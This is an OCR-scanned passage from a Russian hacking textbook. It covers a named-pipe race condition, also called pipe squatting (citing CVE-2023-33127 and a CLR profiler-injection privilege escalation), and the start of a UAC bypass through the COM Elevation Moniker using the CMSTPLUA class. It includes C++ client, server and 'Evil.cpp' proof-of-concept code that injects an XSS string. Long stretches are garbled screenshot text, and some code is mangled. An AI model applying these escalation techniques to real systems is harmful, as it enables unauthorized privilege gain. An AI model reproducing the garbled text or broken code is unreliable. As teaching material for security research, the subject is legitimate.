Можем попытаться пореверсить целевое приложение и попытаться обнаружить,
какие его возможности доступны клиентам и что они могут делать с сервером.
Следует также проверить
3.
Скорее всего,
DACL
DACL пайпа.
не позволит нам подключаться к этому пайпу, поэтому
здесь в игру и вступает наш
Race Condition.
Глава
14.
Используем
при атаке на
Named Pipes
273
Windows
-
►
r-
... ...
-- --- -- _ .......
-- --· -- -
х
□
...
~~=======~
:::::·::::=== с:::,: == t:~~==
~ --=:: ...._..,
::=-=.
===-== =ё"-➔.,;;=
:· ==с=':"=
э_:=
=·c,:~
~::::t::~~~~~~~~==1~::::~---t:'::":=--E==--t.-----E:::::'='•
~~~=⇒=
~~~:~=~~•to=⇒=
....... Lм .........
""'""
_..,
," - . .
~
,
==
с...,,,..
......... ~- =-- ------ =--
- --- ---- ----·- -,_
--"" -
1
'
'
'
-С
1
-
~ - WIW)_ ~-=1i1111IDl2:Ф•--...нt lUТКRТVL_____.o.t -=-,--1-.__
,__
,~~.-_-c--+~--l--f= -l - - - - 1 c,_
- c -c--+--==='+-.с·~~~-=•=-=t..... f'4Wl'SI[
"--
~ r - - - + - - --.+- - -lt -- - - +
\ 1.. ws iucoL
- -1
'
~.:;;:;-._~~-~~;:~--:;;:i-;-=,.,,.
•.,,,.._
~:;;:;:===t~;~=
3'\\:;;-;::;s~~1-; ;: =~~;:~~;~;;;~;:=
,_ ~:;~;:~:::===~
'
.....,..
...... 111[-
..... 111(-
...._
"\\. . . , _ . , .
I\ \ ~
,_
..
'
. . . . . .. A,W;._ ~ w . w )-
Wii(_ 1/1/1581
-:.
№~NI №~ ~. . .
--
~~ 1/1 /№lюtOO ::-М t№ТlfJAlм..._ ..О..
1
-,-
!мм
11- .
-
..[
-!
....
~~=~r=~~==~1r:~== ·: =~-•= _:_.....
=-~~"::~:::;E-f=
~~=c~c~ё ~'-~t1~=~"'~'-~=-=-+~~~?~~~~~~;~J'=-+J~=-~~~j:_~-~
~c'~=-=-~~E~=~~~~t~=i~+~.........
=
c:=__J-JE....,_
,: ..;:,s-J
r~
~
j\\~
-111(-
.....1 1 ( -
i''-~
...... IIWТN.11'
1, \ ........,_....
........
,_
1
1
1
~Alllfi.... ~
1
1/1/К81Z11ООО
..,.;, W . 0 - . ~
;
~~~'мWI
Nt.-untOJII~
~
--+- i
W.O...WIW- .1 1111№1288 N1.IIIJ110l~
.......
.
..,.
-+--...
o.t
...... 1 1 ( - .........
1
==,....,..=.,,~~1'МL:- i11/t812;C8tl~.мm«J111м...-~o..
,__
=,,,-c::
._
='--F=='!F==-1="----F=-f'==--!"--F
=--+w......_
:f"~~~~"',=
~ ....... ~'мllilD-
""-O-.W181(_
........... Adil'L ~ W I W I
W..0-.WIW- 11'/КIIIIOIIII
t/l/1SUl2.a•
:с.«с
NI/IUn«:IAI~
'
1 -~---~- ~
...,.._
....
...." t - _._.~
...,_
\\\.....,.,..,,..
.=--=""'==- --r--.o .a.
_
=:=:='
°='
:,
==-+:-'"""
~~::::~-~t:Ш-~~t~~1:"',,,:::,_~.....
~::::~-~--~J===~,,,...,..,,,
,
-~~~jt
~=~
~
:::::~~•-~t~-~~-~~•~-:;:~~-; t-~
~~t=jМм8о1,,,,,Е,,...
~;j ......
~"~-~~-~Мlk , ,._.,_\rrflliiO a.-w._'--: JIЛ/1IOII01111 _u..,~p~
..........
, , ..........
:,\.~
~
111
~ P i .,._._
\\.............._...._
,\.......,.... LL .......
0.-F.ftrf№
~
.......
1
....,_
1
......,._
1
~~ "-'l)м\rrflliiO _ w..o-,w.w_ J 1лtМ0110ttD
Dм
Oi5'1I
. . .r.,......,__ a.,,i
+-OIRO
Nl№ПOI ~
,=c.._ ~ •
=-=cc."'-=...-""'
= ""'c-c"=' "--''..,,_
- cc""
==-1,-""'
- =c.c-=+-==c- :""
= = -='-.-'----F'.....,
c===-+-=
='----E-= ---+"
"'""
""cc-+-=""
"'cc
'-'-----t-= '-'-"--'
.,;'\c.c-=c~-;=
OtltllJ
____
= w...(__ _ и1101t11t .:i ___м1,1,t1rto1fV\_ Dм
=tc==
=,;"wedllt -' --+='➔==
= -=-F-==--t'- = --+"
='---f-="'"'""''--''-=-+c-= -= --1=
c..ccc=-+'_.,,.,,
;_c"c.=
--t
-
"~
=
= =: =~==-~ =====~
- - - - + lf___
--+....
--_+....
- - ,-.,-..,,
- ,_----<k:~= =---<e-
1:~=: = =:,::==:=....
\
~
-.
~~~
i..o.,WtllO ! .....0-.WL 11 1 ' 1 ' ~ .riunt:Rr'l"\-_..a.,,i
1
1
Рис.
4.
- .~
, - - +- --+-
14.14.
Т
..,,,
-➔ " "
....
Поиск клиентов
Пишем программу, которая создает пайп с таким же именем , что и атакуемое
приложение. Затем нужно сделать как-то так, чтобы наша программа создала
пайп раньше, чем атакуемое приложение .
5.
Если мы сможем опередить атакуемое приложение, то последующие создавае
мые атакуемым приложением пайпы будуr наследовать права доступа нашего
пайпа. Это позволит нам подключиться к ранее недоступному пайпу и пользо
ваться его возможностями .
6.
Успешно подключаемся к пайпу в целевом приложении и злоупотребляем его
возможностями .
Подобная ситуация уже встречалась в реальных условиях : это СУЕ-2023-33127
(https://gist.github.com/Ьohops/c7Ы35ee7П593a3a76014tif87abb30). Подсистема CLR
Diagnostics создавала пайп в любом дотнетовском приложении . Конечно же, просто
так к этому пайпу подключиться было нельзя
или пользователь
опередить
CLR.
-
-
это могла сделать только система
владелец процесса. Однако у атакующего была возможность
В таком случае он успешно создавал пайп с нужным именем , а за
CLR и создавала еще один пайп (считайте, второй
тем подключалась система
в очереди). В этот раз, т. к .
цессе
.NET
DACL
наследовался, созданный системой
CLR
в про
пайп позволял подключаться к себе. И тогда атакующий мог восrюльзо
ваться возможностями приложения, подгрузив в него вредоносный код
(https://
github.com/МayerDaoiel/profiler-lateral-movemeot).
Повторим пошаrово .
l.
Эксплойт сначала должен запустить любое дотнетовское приложение от лица
другого пользователя через
в главе
16.
Session Moniker. Моникеры я буду
PhoneExperienceHost.
Автор РоС запускал приложение
рассматривать
Часть
274
Приложение написано на
2.
.NET,
11.
Системное программирование для хакеров
поэтому платформа
CLR
будет пытаться создать
пайп с именем dotnet-diagnostic-( PhoneExperienceHost PID).
С помощью эксплойта обгоняем платформу
3.
и создаем этот пайп в нашем
CLR
процессе.
4.
Просыпается
5.
На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в нем
мы
CLR,
создает еще один пайп, уже в процессе PhoneExperienceHost.
можем прописать что угодно, например разрешение
Full Access
группе
Everyone.
Подключаемся ко второму пайпу.
6.
Используем
7.
возможности
приложения
и
подгружаем
с вредоносным пейлоадом. Здесь-то и происходит
LPE,
профилировщик
кода
потому что мы смогли:
инстанцировать .NЕТ-приложение в чужой сессии; создать в нем пайп, к кото
рому можем подключиться; подключиться к пайпу и злоупотребить его возмож
ностями.
Для наглядности продемонстрирую эту атаку (рис.
пайп
\ \. \pipe\helloworld,
14.15).
Пусть есть некоторый
к которому подключается клиент, читает из него данные и
выводит в консоль. Есть также легитимный
Pipe Server,
который этот пайп запуска
ет и передает клиенту строку.
8
д..,..и"IIIICl'pitТop: Wind~ Ро
Х
+
□
V
LastWriteTiine
Mode
d-----
18 . 01.2025
Lengt h Na11e
16 : 31
Debug
PS A: \ssd\ProjectsVS\Articles\x611> cd . \Debug\
PS А : \ssd\ProjectsVS\Articles\xбil\Debug> dir
rn
А:
\55D\Projec tsVS \Artic les \хб4 \Debug>. \Cl ient . ехе
Received n1essage: Hello from Pipe se,-ver!
А:
Каталог : А :
Mode
дАJ.НfНt1стратор: Ко манднаА прока
\SSD\Projec tsVS \Artic les \хб4 \Debug:-
\ssd\ProjectsVS\Articles\x611\Debug
LastWriteTi11e
Length Name
-----
..-- ..- - а ---
-
- а --
18 . 01 . 2025
18 . 01 . 2025
18 . 01.2025
18 . 01 . 2025
16:31
16 : 31
16:31
16: 31
70656 Client . ехе
Client . pdb
71168 Server. ехе
12902Ц0 Server . pdb
129&2Ц!)
PS А: \ssd\ProjectsVS\Articles\x611\Debug> . \Client. ехе
Error connecting to pipe. Error code : 2
PS А : \ssd\ProjectsVS\Article s\x611\Debug> . \Server. ехе
Waiting for client connection . ..
11essage sent : Не l to fro11 Pipe Se rver !
PS А: \ssd\ProjectsVS\Articles\x611\Debug> 1
Рис.
// Client.cpp
#include <windows.h>
#include <iostream>
14.15.
Легитимное исполнение
х
14.
Глава
Используем
Named Pipes при
атаке на
Windows
275
int wmain () {
const wchar_t* pipeName = L11 \\\\.\\pipe\\helloworld 11 ;
НANDLE hPipe = CreateFileW(
pipeName,
GENERI С_READ,
о,
NULL,
OPEN_EXISTING,
о,
NULL);
if (hPipe == INVALID_НANDLE_VALUE) {
std: :wcerr « L"Error connecting to pipe. Error code:
return 1;
11
« GetLastError() « std: :endl;
wchar_t buffer[512];
DWORD bytesRead;
if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) {
std: :wcerr « L11 Error reading data. Error code: 11 « GetLastError() « std: :endl;
else {
std: :wcout « L"Received message:
11
« buffer « std: :endl;
CloseHandle(hPipe);
return О;
срр
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L11 \\\\.\\pipe\\helloworld 11 ;
НANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE I PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
о,
NULL);
276
Часть
11.
Системное программирование для хакеров
if (hPipe == INVALID_НANDLE_VALUE) {
std::wcerr « L"Error creating named pipe. Error code: "« GetLastError() « std::endl;
return 1;
std: :wcout « L"Waiting for client connection ... " << std: :endl;
if (ConnectNamedPipe(hPipe, NULL) = FALSE) {
std: :wcerr « L"Error connecting client. Error code: " « GetLastError() « std: :endl;
CloseHandle(hPipe);
return 1;
const wchar_t* message = L"Hello from Pipe Server!";
DWORD bytesWritten;
if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten,
NULL))
std: :wcerr << L"Error sending data. Error code: " << GetLastError() << std: :endl;
else {
std: :wcout « L"Message sent: " « message « std: :endl;
CloseHandle(hPipe);
return О;
Однако некий Evil.exe оказался быстрее нашего Server.exe. Смотрите, что происхо
дит (рис.
14.16):
// Evil.cpp
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
НANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE I PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
О,
NULL);
if (hPipe == INVALID_НANDLE_VALUE) {
std: :wcerr « L"Error creating named pipe. Error code: " « GetLastError() « std: :endl;
Глава
14. Используем Named Pipes при
атаке на
277
Windows
return 1;
std: :wcout
«
L"Waiting for client connection . .. "
if (ConnectNamedPipe(hPipe, NULL) == FALSE)
std: :wcerr
«
«
std: :endl;
{
L"Error connecting client . Error code: "
«
GetLastError()
«
std: : endl;
Cl oseHandle( hPipe);
return 1;
const wchar_t* message
L"<img src=x onerror=alert()> I ";
DWORD bytesWritten;
if ( 1WriteFile(hPipe , message,
std : :wcerr
«
(wcslen(message ) + 1 ) * sizeof(wchar_t) , &bytesWritten ,
NULL))
L"Error sending data. Error code: "
«
GetLastError ()
else
std: :wcout << L"Message sent: " << message << std : :endl;
CloseHandle(hPipe);
return
О;
Рис .
14.16.
Пример эксплуатации
«
std: :endl;
278
Часть
11.
Системное программирование для хакеров
Как видите, Evil. ехе создал пайп раньше, за ним тот же самый пайп создал и
Server. ехе, но, согласно принципу
клиенту первым к
Ev1l. ехе,
а
FIFO, Windows
Server. ехе
дала возможность подключиться
проигнорировала.
Заключение
Порой встроенные механизмы межпроцессного взаимодействия могут таить в себе
самые
неожиданные
концепции
и
примитивы,
которые позволят атакующему
по
выситься в системе, прочитать чувствительные данные или внедрить собственные
библиотеки в чужие процессы. Для обнаружения таких векторов нужно обладать
упорством, верой в себя и щепоткой удачи.
ГЛАВА
15
Исследуем обход
UAC
на примере Elevation Moniker
Механизм
User Account Control
в
Windows
не дает пользователю взять и запустить
малварь от лица администратора. Впрочем, система любезно предусмотрела меха
низм
Elevation Moniker,
чтобы упростить жизнь хакерам. В этой главе мы разберем,
как использовать моникеры для обхода
UAC.
Всё по-взрослому! На жестком С++
с интерфейсами.
Моникеры
Первым делом отметим, что моникеры
(Component Object Model).
-
один из кирпичиков подсистемы СОМ
С помощью СОМ разработчики могут создавать такие
программные компоненты, которые способны взаимодействовать друг с другом
в самых разных плоскостях. Например, с помощью СОМ можно из кода Visual
Basic дергать сборку .NET и наоборот (рис. 15.1)! А что вы думаете по поводу связ
ки программ на
Здесь есть
ент
-
Go и С++?
сервер - им считается
тот, кто предоставляет функции СОМ,
-
и кли
тот, кто обращается к функциям сервера. Возможности сервера СОМ пропи
сываются в классе СОМ. При обращении к серверу СОМ создается экземпляр клас
са СОМ, и клиент получает этот экземпляр. После чего может взаимодействовать
с сервером.
Конечно, уже опытные читатели скажут, что в действительности идет работа с ин
терфейсами: сервер зачастую отдает маршализированный интерфейс, через кото
рый будет происходить взаимодействие, а еще между клиентом и сервером висит
прокси, стаб, апартаменты,
RPC ...
Впрочем, такие подробности не нужны. Пока
достаточно понимать, что есть сервер и клиент СОМ. Их взаимодействие проис
ходит через экземпляр класса СОМ, в котором определены некие возможности.
Изучить базу про СОМ можно в статье Inside СОМ+: Base Services (https://
thrysoee.dk/lnsideCOM+/) или в официальной документации (https://learn.
microsoft.com/en-us/windows/win32/com/component-object-model-com--portal).
Для создания экземпляра класса СОМ (процесс инстанцирования) требуется специ
альное значение
CLSID (Class Identifier).
Оно однозначно идентифицирует класс
Часть
280
11. Системное программирование для хакеров
СОМ, к которому хочет обратиться клиент. Помимо того, само создание объекта
СОМ реализовывало порождающий паттерн проектирования, называемый фабри
кой
(https://javarush.com/groups/posts/2370-pattern-proektirovanija-factory).
--------- --------------------.
1
1
1
1
1
с
с
1
.....
•1
1
С++
С+•
j
.,
1
1
.
1
:__
Component
Consumer
___ _____ __ . ___.,, __ .,. __
_____ .,.._..,,.
Рис.
Component Provlderl:
-•
--------------------------·-
15.1. Component Object Model
Все с этим нормально жили и не тужили, однако в один момент захотели избавить
ся от обязательного использования
CLSID
и фабрики. Хотелось сделать всё так,
чтобы объект находился как-нибудь сам, автоматически, по минимальному общему
входному набору данных.
И тогда на помощь пришли моникеры. Они позволяют идентифицировать конкрет
ный объект СОМ (или даже полноценно его реализовать) по простой строке (moniker
string). Эдакая строковая презентация объекта СОМ.
Процесс инстанцирования объекта СОМ из моникера называется активацией или
же связыванием моникера
(Binding).
Моникер обладает достаточной информацией,
чтобы найти и активировать нужный объект СОМ. Эту информацию моникер
получает один раз, во время своего создания
-
в виде строки, формат которой он
понимает. Позже менять эту информацию уже нельзя. Поэтому моникер, будучи
однажды созданным, всегда находит и активирует один и тот же объект.
Моникерами считаются все объекты, которые реализуют интерфейс rмoniker. Воз
врат клиенту объекта СОМ происходит в функции IMoniker: :BindToObject ().
НRESULT
[in]
[in]
[in]
[out]
);
BindToObject(
IBindCtx *рЬс,
IMoniker *pmkToLeft,
REFIID riidResult,
void
**ppvResult
Глава
15.
□ рЬс -
Исследуем обход ИАС на примере
281
Elevation Moniker
контекст связывания. Эrо специальный объект СОМ, реализующий ин
терфейс rвindCtx. С помощью этого объекта указывается, каким образом должен
осуществляться и как проходит в этот момент процесс связывания (активации
объекта СОМ по моникеру);
□ prnkToLeft -
целевой моникер, по которому создавать объект СОМ;
□ riidResult -
внутри каждого класса СОМ может быть реализовано несколько
интерфейсов. Здесь указывается
11D (lnterface Identifier)
целевого интерфейса,
который хотим получить;
□ ppvResult -
переменная, которая получит инициализированный указатель на ин
терфейс, через который можно взаимодействовать с классом СОМ.
Подвидымоникеров
Моникеры делятся на два подвида:
□ системные
(они же встроенные,
доставляемых Microsoft;
□ пользовательские
они же стандартные)
-
набор моникеров, пре-
созданные сторонними разработчиками.
-
Даже системных моникеров очень много. Мы остановимся на одном конкретном:
Elevation Moniker
elevation-moniker).
(https:/Лearn.microsoft.com/ru-ru/windows/win32/com/the-com
Эrот моникер позволяет активировать объект СОМ в контексте
повышенных привилегий. С помощью этого моникера хакер способен из процесса
со средним уровнем целостности получить доступ к объекту СОМ, расположен
ному в процессе с высоким уровнем целостности, а затем, злоупотребляя возмож
ностями этого объекта, выбраться в привилегированный процесс.
Помимо этого, существуют Session Moniker (https://learn.microsoft.com/ru-ru/
windows/win32/termserv/using-a-session-moniker), с их помощью клиент может
инстанцировать объект СОМ в чужой сессии. На этом был основан эксплойт СОМ
Session Moniker
ЕОР
(https://t.me/RedTeambro/306).
Впрочем, о нем поговорим
в следующей главе.
Для успешного байпаса
UAC
нужно соблюдение нескольких условий:
□ наличие интересных возможностей в классе СОМ: выполнение команд, удале
ние файлов, добавление пользователей
-
в общем, все, что требует токена с вы
соким уровнем целостности;
□ правильная регистрация класса СОМ в реестре
Windows.
Начнем со второго пункта.
Регистрация
Elevation Moniker
Класс СОМ (его поле RunAs
runas))
(https://learn.microsoft.com/en-us/windows/win32/com/
должен иметь значение The Launching user (это значение дефолтное, применя
ется в том числе, если поле RunAs пустое) либо Activate As Activator. Если значение
Часть
282
11.
Системное программирование для хакеров
другое, то при попытке забиндиться к моникеру получим ошибку со_Е _RUNAS _VALUE_
MUST
ВЕ ААА.
Предлагаю рассматривать на примере класса СОМ, который соответствует всем
требованиям. Вот его
CLSID:
{3ESFC7F9-9A51-4367-9063-A120244FBEC71
Значение RunAs указывается для
ApplD,
поэтому сначала вычленяем
AppID
для
CLSID (рис . 15.2) .
-
Pwm>p реестр,
•
Пр,""
Ф1м
в"
И,брtнное:
о
х
Сnр,,1ц
Koмn..,.ep\HKEY_LOCAL_МACHINE.\SOF1WARE\Cllя,,\CLSID\(3ESFC7f'HAS1-4367-9063-A120ШfВEC7}
) IJ (3D197W-<18C6-418,-A182-ACS01224BAIЩ
> 11 (3D197W-4ЗC6-4111,-A182-BEDEOВfA86A9}
А
) i1 (ЗD367908-'12Зf-3С13-ВВ93-SЕ171882()fЮ)
>ij (304C348E-72DВ-4FЗВ-B74f-37AD2313SOEF}
> fl (3DIOE9H93H7S6-ВOAE-72EOFBS3SAE4}
"1
и-
Тмn
!iЮ (По умолчо..,.) 1
R[G_SZ
REG_SZ
REG_EXPANDaSZ
[~ Appld
~ LocllizedSlnng
3111-.ettlitt
СМSТРt.Uд
~Зfж:m-9АS1-4367-9063-А1202ЩВ[С7)
l
iЦ&iМAS&SLG9&МG2\CmlpiШ.&( - IOO
(3D~E- FAEA-47D6-ВEl2-301 ДS(){ВCQ2S}
-В lnpro&.v.r32
)
(3DВ13Df[-6C91 -""4E-llf41-()4346A841D9C}
>11 (3DВSCВ81-CS20-4361-8C9A~1A9ВDD)
•
) 11 (3did6cSd-2167-4cн-9914-f99o41c12d,}
>
>
(3DBEE9A1-C471-489S-BВCA- F393100bl4S8)
(3DBFEF3►6f1µ,sз-вc19-D7ADSCCD47S6)
> l'i (30C09436-7083-4ВAD-ADDC-CD47F996CSВA}
) 111 (ЗDС7=-одСD-11Сf-А9ВВ-00дд004АЕ837}
; 111 (3ddS3d40-7Ь8Ь-1100-Ь013--00o.OOS9co02}
) lil (3dd6Ь«Q-8193-4ffe-и2►e08e39u406J}
>11 (3DD82D10-E6f1-11D2-B139-0010SA1mд1}
> li1 (3DD82114-928►30A6-906D-B117640CA927}
>fi1 (3DDEB7A4-IIAВf-4DВ2- 89EE-E1F4SS2E9S8E}
>
>1
(3DECD500--A278-4ВOC-8ВAA-2682CfA26SFF}
(Зd111260-58dЬ-46с1-85ее-ЗS459е115Ь9с}
) [;) (3dldf296-dЬec-41Ь4-81d1-6o34згьd4de}
) fij {3E000072-A845-4CD9-BD83-80C07O8881F}
) 11 (3eCIЗ0.5--6d)c-4daf-Ь41e-7Ь1011ed7e1c}
> @& (3129ВС4НОА7-4418-ААС7-7д601F800д14}
) 11 (ЗЕ45Ю37-ОСА6-41н-А594-2АА6СО2D7098}
>Jil (3E404f1C-2AEE- 11D1 -9DЗD-OOC04FCЗODF6}
)
)9
(3ESOOCOC-501 ►4610-809►7CEBD4C43f24}
(3{S4D3BF-8EFA-400f-8875- 886AЗ09E1CВF}
)N(3Ш09I0-1FВ9-3040-8174-7S06C9AFE5DA}
,__ ,.,
..>
(3!58004{-4CE5-4681 - ВAS6-785A67f9FOOC}
<
-
>
.
Рис.
15.2.
Получение
ApplD
по
CLSID
Вот как это выглядит в коде :
DWORD GetAppidFromClsid(IN std: :wstring clsid, OUT std: :wstring& appid)
{
НКЕУ hClsidКey ;
std::wstring c lsidSuЬKey = L"CLSID\\ " + clsid;
if (RegOpenКeyEx (HКEY_CLASSES_ROOT, clsidSuЬKey.c_str(I,
О,
КEY_READ,
&hClsidКey)
!=
ERROR_SUCCESS I
return ERROR OPEN FAILED;
valueBuffer[256];
DWORD valueBufferSize = sizeof(valueBufferl;
ТСНАR
Глава
15.
Исследуем обход ИАС на примере
283
Elevation Moniker
if (RegQueryValueEx (hClsidКey, L"AppID", NULL, NULL, (LPBYTE) valueBuffer,
&valueBufferSize)
appid
==
ERROR_SUCCESS)
valueBuffer;
RegCloseKey(hClsidКey);
return ERROR SUCCESS;
После чего проверяем ключ AppID (рис.
15 .3 ).
о
I
1
( 3ESFC7F9-9AS 1-4367-9063-А 120244FBEC71
Тнn
(3,bklJ77-1 f 15-487c-9050-104dЬcd66683}
REG_SZ
REG_BINARV
REG_SZ
REG_BINARV
IJ (3«1301f-bS96-4cOЬ-bd9l-013b"f"793}
['j (3F4D7888-4F38-4526-8CDH44068689CSF}
(3FSE4887-C907-4f75-82E4-6FDFOCE90Ш}
1.
i (; (3fю2163-О..С-4Ь96-84аЬ-d,1307.0117с}
~
х
CMSТPLUA
mоо04~~ООООООМООООООООООООООЦОО .
moo04~kOOOOOO&OOOOOOOOOOOOOOUOO.
(40AEEA86-8fDA-4 I.З-9ASf.83\004CFCA91}
(.oowд086-382F-46S4-ЭC3F-1610E8SCFIIOEJ
(41 2EOF20-6CSB-43EC-879F-DA444A416EAC}
~
f·
t-й (41928E27-727S-491C-ASA1-4FDC791BF609}
Г
(42C21DFS-FBS8-4102-90E9-96A213DC7CE8}
i
(42CBFAA7-A4A7-478B·В422·8D 1 0E9D02700}
(., (434A627HS39-4E99-88FC-44206D94277S}
1.. j
(44831 FEC-DCS l-4715-A7E1-E898fDF83C8S}
1. lj (45244f59-BE44-4S02-8867·CВD4FE270EВ6)
!.. 1-.А {4S4Sd80-2dfc•4906-•n8-6d986ЬA399•9)
L
~
~
(4SS97<9S-80f6-4S49-В4ff·752d55'2d29}
J (4SВA127D-1DA8-46EA-8A87-S6EA9078943C}
f (4SEAEJ63-12lA-44SA-9785-3DE890E786FВ}
r
[J
(468DВS95- CFSC -44[ 1-Аб75-4АААВ 19ЕО41 f}
(46B988E8-BEC2-401F-AICS-16C694F26D3E}
(46C166AA-3108-11D4-9348--00C04F8HB71}
!:, 1(478В41Еб·3257-4519-ВDА8-Е971F9843849}
l.[, (47FО9FЗВ-б80А-49АС-90СD-7АЗО27ААЕВ1В}
L. [1 (4839DDBH8C2-48FS-828HID1807D007D}
Lt !48d'6741-1ЬI0-4""'-832S-29308&79'J77}
1- j
{4963f89b·2б1e--4ff,-•cl~7117dSA17071}
!--
{-4980202З.1Ш--11 D1-AD19-00C04fD8FDFF )
г
Г
1
(49ЕВD8ВЕ· 1А82-4А86-А651 •70ACS6SEOFEB}
(49117ldd-Ы1,-40d3-9'6c-S2d674cc729d}
(4AOF9AA8-A71 Е-4С СЗ-891 В· 7бСАСб7Е67СО}
(4A688BAD-9872-,S2S-A812-71AS2367DC17}
Рис.
15.3. RunAs
нет. Значит,
The Launching User
Следующим шагом нужно убедиться в наличии ключа LocalizedString (рис.
в котором будет путь к целевой
DLL
15.4),
с функциями СОМ. Если такой записи нет,
активация возвращает ошибку со_Е _МISSING_DISPLAYNAМE.
В подпапочке Elevation (рис.
приложения. Здесь -101 -
15.5)
лежит ключ IconReference, указывающий на значок
идентификатор ресурса, а EnaЫed -
пользовать этот СОМ-класс с
разрешить ли ис
Elevation Moniker.
Если какая-то запись отсутствует, то активация возвращает ошибку co_E_ELEVAТION_
DISABLED.
Обратите
внимание,
что
эти
записи
должны
существовать
в
ветке
НКЕУ - LOCAL - МАСНINЕ, а не в ветке НКЕУ- CURRENT- USER или НКЕУ- USERS. Это не позволяет обыч
ным
с
пользователям
Elevation Moniker.
регистрировать СОМ-классы,
которые можно использовать
Часть
284
11.
Системное программирование для хакеров
-
111 Рwктор ,нктр1
Праац
Ф11КЛ
в"
ИюpillHH~
о
х
Cnpi!IBICll
.
Koмnыoт~\HKEV_lOCAl_МACHINE\SOFТWARf\Cl11sяs\CLSID\{ЗE5FC7F9-9A5 1 -,4367-9063-A120244fВEC7)
{3D197W-д8С6-41З.-А182·АС5012248А85}
>
)
{3D197SAF-48Cб-4f~A182-BE0E08FA86A9}
)
{3D367908-928f- К 13-8893-SE1718820fб0}
{3D4C34BE• 720&-4F 38- 874F-37AD23 1350EF}
)
,
Тип
Зн1ч~мt
REG_SZ
СМSТРША
~toolizedString
REG_EXPANO_SZ
и
__ ,.
{3D547E96- E934-4756-8DAE-ШDFBШAE4}
>
..,
..,.
~(По уwмч11нию)
RFC. 'J
-·
-
O%Syst:~Root·%\syst:I01ЗZ\.c.nutplШ1. dlL -100
(3D7ЗE42.E-FAEA-4706-8HZ-301A5DШC025}
1
lnproc:Sбvtr32
)
(3031ЗDFЕ-6С91-4А4Е-8F41-0434бд84109С}
)
{308SC881-CS20-436f-8C9A-8292041A98D0}
)
(3di11dбc5d-2167 -4c•~9914-f9%41 с 12cfa}
)
{308ЕЕ9А 1-С471-4895- BBCA-F393 10064458}
>
{3D8FШ5-6F1 S-4453- BC19-D7ADSCC04756}
)
{30СО94Эб-708НВАО-АООС-СD47F996С5ВА}
)
)
{30C7A02G-DACD-11 Cf-A988-00AA004AE837}
{3dd53d40- 7Ь8Ь- 1100-ЬО13.ОО..0059сd)2}
)
{30D82.D10-E6F1- 11D2-8139-00105д 1mд1}
,
Г!
(3ddбЬed>-8193-4fft-ae2S-dЭSd9и4063}
)
{300В2114-9285-ЗОА6- 90б0-В117б40СА927}
>
{3DDEB7A4-8ABF-4D82- В9ЕЕ • Е 1F4SS2E958E}
>
>
{3DECD5DD-д278-48DC-88AA-2б82CFд26SFF}
>
1
(3dfdf296-dbec--4fЬ4-81d1-Бa3438Ьd4dt)
{3E000072-A84S-4CD9-B083-80C07CЗ8881F}
)
,
(3alfЗO.S-Ьdk-4d4f-Ь41 ~- 7ЫО11~е1с}
{3Е298С47-ООА7-4418--ААС'/-7АбD 1F800A 14}
>
)
{3Е458037-ОСА6-41•11-А594-2ААбСО207098)
>
{3E4D4F1C-2AEE-11D1-9030-00C04fCЗOOF6}
>
>
>
i
(3df112fJO.S8db-46c1-8~-ЗS4S9t!11SЬ9c}
{ 3ESOOCOC-5D15-4610-8095- 7CEВD4C43f 24)
~ {ЗES4D38F -8EFA-400f-887S-886A30'JE1C8F)
{ЗШО9Ю-1 F89-3040-8174- 7506С9АШОА)
{ 3ES8004E-4CES-46В1 -ВАS6- 78SA67F9FOOC}
>
,
{3E5FC7F9-9AS1-4367-9063-A120244FBEG}
>
<
1
.
Рис.
15.4.
Ключ
LocalizedString
lf Ред11цор ре.ктр11
ФalUI
Пр.,ека
ВИА
о
Июранное
Сn,и •"•
Коunыотr:р\НКЕУ_LOCAL_МACНINE\SOПWARE\C~sиs\CLSI0\{3ВFC7F9-9AS1 -4367-9063-A 1202-44f8[C7)\Elr;villtion
>
{304C348E-7208-4F38-B74f-37ADZ313S0H}
>
{З0S47E96-E934~47S6-3DAE- 72EOFBSЗW4)
.~ (Поумо.пчанию)
REG_SZ
(3~::=:706-8EE2-301A50f8C.Ol5)
~!j[mcription
R.EG_SZ
~ Enable:t
~ lconRt;Jr;rmcr:
REG_OWORD
REG_EXPAND_SZ
.,
!
)
(I0813DfE-6C91--4д4E-8F4I-0O46A84109C}
>
>
{3dilld6c5d-2167-4иr:-9914-f99ir!41c12da}
(ЗD8SCВ81-CS20-4Зfl-3C9A-8292041A98DO}
,..
Тип
Иwя
> j {ЗDBEE9A1 -C471-489S-BBCA-F39310064458}
> J {ЗDBFEШ-6F15-4453-BC19-D7AD5CC04756}
>
j
{30С09436-7083-4ВАО-АООС -СО47F996С5ВА}
> u {3DC7A02G-DACD-11CF-A9BB-OOAA004AEA37}
> J {3dd53d4D-7Ь8Ь-1 100-Ь013 -00..0059cd)2}
>
,j
(Зdd6Ью)-8193-4ffr:-•US-~3)
>
>
>j
{3DDB2114-9285-30A6-9060-B117640CA927}
>
{3DECDSDD-д278-48DC-88AA-2б82CFA26SFF}
>
{3df112I0-58dЬ--46c•-8~3S4~11SЬ9c)
)
{3dfdf296-dЬ«-4fЬ4- 81d1 - 6"34.33Ьd4de}
{3D082D10-Eбf1-1102-8139-00105A1FnA1)
{3DDEB7A4-8AВF-4082-89EE-E1F4552E958E}
>
{3Е000072-А845-4СО9-В083-ВОСО7СЗ8881F}
>
>
{3E298C47-00A7-4418--AAO-7AI01FfO)A14}
{я0f30i!IS-бc0c.-4cbl-Ь41~7Ь1011ed7r:1c}
> .J {П4S8037-0CA6-41••-A~-2AA6C02.D7098}
>
{3E4D4F1C-2AEE-11D1-903D-OOCD4fC300f6}
>
>
{ЗЕ500СОС-5D15-4610-8095- 7CEВD4C43F24}
ЩS4D3BF-8EFA-400f-8875-886A30'JE1CBF}
>
>
{3E5509FD-1 F89- 304D-8174-7506C9AFESDA}
j
1
l
>
<
